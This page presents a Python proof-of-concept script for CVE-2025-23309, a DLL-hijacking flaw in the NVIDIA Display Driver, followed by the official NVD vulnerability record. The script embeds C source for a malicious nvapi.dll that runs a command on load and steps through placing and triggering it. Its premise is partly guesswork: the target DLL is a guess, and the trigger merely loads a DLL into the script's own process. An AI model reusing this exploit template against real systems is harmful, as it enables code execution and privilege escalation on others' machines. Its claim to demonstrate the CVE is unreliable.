CVE-2025-23309

# CVE-2025-23309 - NVIDIA Display Driver Uncontrolled DLL Loading PoC # This is a conceptual PoC demonstrating DLL hijacking technique import os import ctypes from ctypes import wintypes # Step 1: Identify the target DLL that NVIDIA Display Driver loads without full path # Common NVIDIA DLLs that may be vulnerable: nvapi.dll, nvml.dll, etc. TARGET_DLL = "nvapi.dll" MALICIOUS_DLL_NAME = "nvapi.dll" # Same name as legitimate DLL # Step 2: Create a malicious DLL payload (conceptual) # In a real attack, this would be compiled as a DLL with malicious export functions malicious_dll_code = f''' #include <windows.h> #include <stdio.h> // Export the same functions as the legitimate nvapi.dll extern "C" __declspec(dllexport) int NvAPI_Initialize() {{ // Malicious code executes here when the DLL is loaded system("calc.exe"); // Example: Launch calculator as proof of concept return 0; }} BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {{ if (reason == DLL_PROCESS_ATTACH) {{ // Execute malicious payload when DLL is loaded into the process MessageBoxA(NULL, "CVE-2025-23309 PoC - Malicious DLL Loaded!", "Exploit", MB_OK); }} return TRUE; }} ''' # Step 3: Place the malicious DLL in a directory that will be searched first def deploy_malicious_dll(target_directory): """ Deploy the malicious DLL to a directory that will be searched before the legitimate DLL location """ dll_path = os.path.join(target_directory, MALICIOUS_DLL_NAME) print(f"[*] Deploying malicious DLL to: {dll_path}") # In actual exploitation, write the compiled malicious DLL here # with open(dll_path, 'wb') as f: # f.write(compiled_malicious_dll_bytes) return dll_path # Step 4: Trigger the vulnerability by running an application that uses NVIDIA driver def trigger_vulnerability(): """ Trigger the DLL loading by running an application that uses the NVIDIA Display Driver """ print("[*] Triggering vulnerability...") # Load a library that will trigger the NVIDIA DLL loading try: # This will cause Windows to search for and load the malicious DLL ctypes.windll.LoadLibrary(TARGET_DLL) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Deploy and trigger target_dir = os.path.dirname(os.path.abspath(__file__)) deploy_malicious_dll(target_dir) trigger_vulnerability() print("[+] PoC execution completed")

{"cve": {"id": "CVE-2025-23309", "sourceIdentifier": "[email protected]", "published": "2025-10-10T18:15:39.360", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Display Driver contains a vulnerability where an uncontrolled DLL loading path might lead to arbitrary denial of service, escalation of privileges, code execution, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23309", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5703", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-23309", "source": "[email protected]"}]}}